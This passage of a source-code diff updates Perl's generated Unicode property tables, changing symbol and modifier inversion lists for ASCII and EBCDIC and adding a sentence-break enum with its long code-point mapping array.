0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x300, - 0x375, - 0x376, - 0x384, - 0x386, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FCD, - 0x1FD0, - 0x1FDD, - 0x1FE0, - 0x1FED, - 0x1FF0, - 0x1FFD, - 0x1FFF, - 0x309B, - 0x309D, - 0xA700, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xAB5B, - 0xAB5C, - 0xFBB2, - 0xFBC2, - 0xFF3E, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFFE3, - 0xFFE4, - 0x1F3FB, - 0x1F400 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SK_invlist[] = { /* for EBCDIC 037 */ - 55, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x79, - 0x7A, - 0x9D, - 0x9E, - 0xB0, - 0xB1, - 0xBC, - 0xBF, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x300, - 0x375, - 0x376, - 0x384, - 0x386, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FCD, - 0x1FD0, - 0x1FDD, - 0x1FE0, - 0x1FED, - 0x1FF0, - 0x1FFD, - 0x1FFF, - 0x309B, - 0x309D, - 0xA700, - 0xA717, - 0xA720, - 0xA722, - 0xA789, - 0xA78B, - 0xAB5B, - 0xAB5C, - 0xFBB2, - 0xFBC2, - 0xFF3E, - 0xFF3F, - 0xFF40, - 0xFF41, - 0xFFE3, - 0xFFE4, - 0x1F3FB, - 0x1F400 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_SM_invlist[] = { /* for ASCII/Latin1 */ - 129, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2B, - 0x2C, - 0x3C, - 0x3F, - 0x7C, - 0x7D, - 0x7E, - 0x7F, - 0xAC, - 0xAD, - 0xB1, - 0xB2, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x3F6, - 0x3F7, - 0x606, - 0x609, - 0x2044, - 0x2045, - 0x2052, - 0x2053, - 0x207A, - 0x207D, - 0x208A, - 0x208D, - 0x2118, - 0x2119, - 0x2140, - 0x2145, - 0x214B, - 0x214C, - 0x2190, - 0x2195, - 0x219A, - 0x219C, - 0x21A0, - 0x21A1, - 0x21A3, - 0x21A4, - 0x21A6, - 0x21A7, - 0x21AE, - 0x21AF, - 0x21CE, - 0x21D0, - 0x21D2, - 0x21D3, - 0x21D4, - 0x21D5, - 0x21F4, - 0x2300, - 0x2320, - 0x2322, - 0x237C, - 0x237D, - 0x239B, - 0x23B4, - 0x23DC, - 0x23E2, - 0x25B7, - 0x25B8, - 0x25C1, - 0x25C2, - 0x25F8, - 0x2600, - 0x266F, - 0x2670, - 0x27C0, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2800, - 0x2900, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2B00, - 0x2B30, - 0x2B45, - 0x2B47, - 0x2B4D, - 0xFB29, - 0xFB2A, - 0xFE62, - 0xFE63, - 0xFE64, - 0xFE67, - 0xFF0B, - 0xFF0C, - 0xFF1C, - 0xFF1F, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFFE2, - 0xFFE3, - 0xFFE9, - 0xFFED, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1EEF0, - 0x1EEF2 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_SM_invlist[] = { /* for EBCDIC 1047 */ - 131, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4C, - 0x4D, - 0x4E, - 0x50, - 0x6E, - 0x6F, - 0x7E, - 0x7F, - 0x8F, - 0x90, - 0xA1, - 0xA2, - 0xB0, - 0xB1, - 0xBF, - 0xC0, - 0xE1, - 0xE2, - 0x3F6, - 0x3F7, - 0x606, - 0x609, - 0x2044, - 0x2045, - 0x2052, - 0x2053, - 0x207A, - 0x207D, - 0x208A, - 0x208D, - 0x2118, - 0x2119, - 0x2140, - 0x2145, - 0x214B, - 0x214C, - 0x2190, - 0x2195, - 0x219A, - 0x219C, - 0x21A0, - 0x21A1, - 0x21A3, - 0x21A4, - 0x21A6, - 0x21A7, - 0x21AE, - 0x21AF, - 0x21CE, - 0x21D0, - 0x21D2, - 0x21D3, - 0x21D4, - 0x21D5, - 0x21F4, - 0x2300, - 0x2320, - 0x2322, - 0x237C, - 0x237D, - 0x239B, - 0x23B4, - 0x23DC, - 0x23E2, - 0x25B7, - 0x25B8, - 0x25C1, - 0x25C2, - 0x25F8, - 0x2600, - 0x266F, - 0x2670, - 0x27C0, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2800, - 0x2900, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2B00, - 0x2B30, - 0x2B45, - 0x2B47, - 0x2B4D, - 0xFB29, - 0xFB2A, - 0xFE62, - 0xFE63, - 0xFE64, - 0xFE67, - 0xFF0B, - 0xFF0C, - 0xFF1C, - 0xFF1F, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFFE2, - 0xFFE3, - 0xFFE9, - 0xFFED, + 0x1D56C, + 0x1D586, + 0x1D5A0, + 0x1D5BA, + 0x1D5D4, + 0x1D5EE, + 0x1D608, + 0x1D622, + 0x1D63C, + 0x1D656, + 0x1D670, + 0x1D68A, + 0x1D6A6, + 0x1D6A8, 0x1D6C1, 0x1D6C2, 0x1D6DB, 0x1D6DC, + 0x1D6E2, 0x1D6FB, 0x1D6FC, 0x1D715, 0x1D716, + 0x1D71C, 0x1D735, 0x1D736, 0x1D74F, 0x1D750, + 0x1D756, 0x1D76F, 0x1D770, 0x1D789, 0x1D78A, + 0x1D790, 0x1D7A9, 0x1D7AA, 0x1D7C3, 0x1D7C4, - 0x1EEF0, - 0x1EEF2 + 0x1D7CA, + 0x1D7CB, + 0x1D7CC, + 0x1D7CE, + 0x1D800, + 0x1DA00, + 0x1DA37, + 0x1DA3B, + 0x1DA6D, + 0x1DA75, + 0x1DA76, + 0x1DA84, + 0x1DA85, + 0x1DA88, + 0x1DA89, + 0x1DA9B, + 0x1DAA0, + 0x1DAA1, + 0x1DAB0, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E800, + 0x1E8C5, + 0x1E8D0, + 0x1E8D7, + 0x1E900, + 0x1E922, + 0x1E944, + 0x1E94B, + 0x1E950, + 0x1E95A, + 0x1EE00, + 0x1EE04, + 0x1EE05, + 0x1EE20, + 0x1EE21, + 0x1EE23, + 0x1EE24, + 0x1EE25, + 0x1EE27, + 0x1EE28, + 0x1EE29, + 0x1EE33, + 0x1EE34, + 0x1EE38, + 0x1EE39, + 0x1EE3A, + 0x1EE3B, + 0x1EE3C, + 0x1EE42, + 0x1EE43, + 0x1EE47, + 0x1EE48, + 0x1EE49, + 0x1EE4A, + 0x1EE4B, + 0x1EE4C, + 0x1EE4D, + 0x1EE50, + 0x1EE51, + 0x1EE53, + 0x1EE54, + 0x1EE55, + 0x1EE57, + 0x1EE58, + 0x1EE59, + 0x1EE5A, + 0x1EE5B, + 0x1EE5C, + 0x1EE5D, + 0x1EE5E, + 0x1EE5F, + 0x1EE60, + 0x1EE61, + 0x1EE63, + 0x1EE64, + 0x1EE65, + 0x1EE67, + 0x1EE6B, + 0x1EE6C, + 0x1EE73, + 0x1EE74, + 0x1EE78, + 0x1EE79, + 0x1EE7D, + 0x1EE7E, + 0x1EE7F, + 0x1EE80, + 0x1EE8A, + 0x1EE8B, + 0x1EE9C, + 0x1EEA1, + 0x1EEA4, + 0x1EEA5, + 0x1EEAA, + 0x1EEAB, + 0x1EEBC, + 0x1F130, + 0x1F14A, + 0x1F150, + 0x1F16A, + 0x1F170, + 0x1F18A, + 0x1F676, + 0x1F679, + 0x20000, + 0x2A6D7, + 0x2A700, + 0x2B735, + 0x2B740, + 0x2B81E, + 0x2B820, + 0x2CEA2, + 0x2F800, + 0x2FA1E, + 0xE0001, + 0xE0002, + 0xE0020, + 0xE0080, + 0xE0100, + 0xE01F0 +}; + +#endif /* defined(PERL_IN_PERL_C) */ + +#if defined(PERL_IN_REGEXEC_C) + +#define SB_ENUM_COUNT 16 + +typedef enum { + SB_Other = 0, + SB_ATerm = 1, + SB_CR = 2, + SB_Close = 3, + SB_Extend = 4, + SB_Format = 5, + SB_LF = 6, + SB_Lower = 7, + SB_Numeric = 8, + SB_OLetter = 9, + SB_SContinue = 10, + SB_STerm = 11, + SB_Sep = 12, + SB_Sp = 13, + SB_Upper = 14, + SB_EDGE = 15 +} SB_enum; + +static const SB_enum _Perl_SB_invmap[] = { /* for EBCDIC 1047 */ + SB_Other, + SB_Sp, + SB_Other, + SB_Sp, + SB_CR, + SB_Other, + SB_LF, + SB_Other, + SB_Sep, + SB_Other, + SB_Sp, + SB_Lower, + SB_Other, + SB_ATerm, + SB_Other, + SB_Close, + SB_Other, + SB_Lower, + SB_STerm, + SB_Other, + SB_Close, + SB_Other, + SB_SContinue, + SB_Other, + SB_Upper, + SB_Other, + SB_SContinue, + SB_Other, + SB_STerm, + SB_Lower, + SB_Upper, + SB_Other, + SB_SContinue, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Upper, + SB_Lower, + SB_Close, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Upper, + SB_Close, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Close, + SB_Other, + SB_Close, + SB_Upper, + SB_Format, + SB_Lower, + SB_Close, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Numeric, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Lower, + SB_OLetter, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Other, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Lower, + SB_Other, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Extend, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Upper, + SB_Lower, + SB_Other, + SB_Upper, + SB_Other, + SB_OLetter, + SB_Other, + SB_SContinue, + SB_Other, + SB_Lower, + SB_Other, + SB_STerm, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Format, + SB_Other, + SB_SContinue, + SB_Other, + SB_Extend, + SB_Other, + SB_Format, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Extend, + SB_Numeric, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_STerm, + SB_OLetter, + SB_Extend, + SB_Format, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Numeric, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_STerm, + SB_Other, + SB_Format, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_SContinue, + SB_STerm, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Format, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Numeric, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Close, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Numeric, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_Numeric, + SB_Extend, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_Upper, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_STerm, + SB_Other, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Other, + SB_Upper, + SB_Other, + SB_Lower, + SB_Other, + SB_OLetter, + SB_Other, + SB_STerm, + SB_OLetter, + SB_Sp, + SB_OLetter, + SB_Close, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_STerm, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_Other, + SB_Numeric, + SB_Other, + SB_SContinue, + SB_STerm, + SB_Other, + SB_SContinue, + SB_STerm, + SB_Other, + SB_Extend, + SB_Format, + SB_Other, + SB_Numeric, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Extend, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_Extend, + SB_Other, + SB_Extend, + SB_Other, + SB_STerm, + SB_Numeric, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + SB_OLetter, + SB_Other, + 